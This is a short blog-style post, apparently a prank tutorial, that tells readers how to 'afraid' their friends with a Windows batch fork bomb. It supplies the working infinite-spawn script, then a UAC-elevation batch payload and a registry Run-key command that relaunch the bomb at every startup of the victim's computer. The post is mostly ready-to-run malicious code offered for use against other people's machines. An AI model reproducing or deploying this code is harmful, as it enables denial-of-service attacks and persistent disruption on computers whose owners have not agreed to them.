Create a fork bomb to afraid your friends
1. Fork Bomb
A fork bomb is a something that runs in an infinite loop. Copy this to a text file and save it as “anyname”.bat (a bat extension is important)
:BEGIN
start %0
GOTO BEGIN
Now to make it more complex we can add this file to the startup, so that whenever the person restarts his computer he/she might still get a slow computer
For that we are going to make another .bat file of any other name and fill it with the following code-
if _%1_==_payload_ goto :payload
:getadmin
echo %~nx0: elevating self
set vbs=%temp%\getadmin.vbs
echo Set UAC = CreateObject^("Shell.Application"^) >> "%vbs%"
echo UAC.ShellExecute "%~s0", "payload %~sdp0 %*", "", "runas", 1 >> "%vbs%"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
goto :eof
:payload
echo %~nx0: running payload with parameters:
echo %*
echo ---------------------------------------------------
cd /d %2
shift
shift
rem copy "anyname.bat" %AllUsers%\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
rem e.g.: perl myscript.pl %1 %2 %3 %4 %5 %6 %7 %8 %9
goto :eof
or the following code will also do-
@echo off reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v test /t reg_sz /d C:\folder\anyname.bat
No comments:
Post a Comment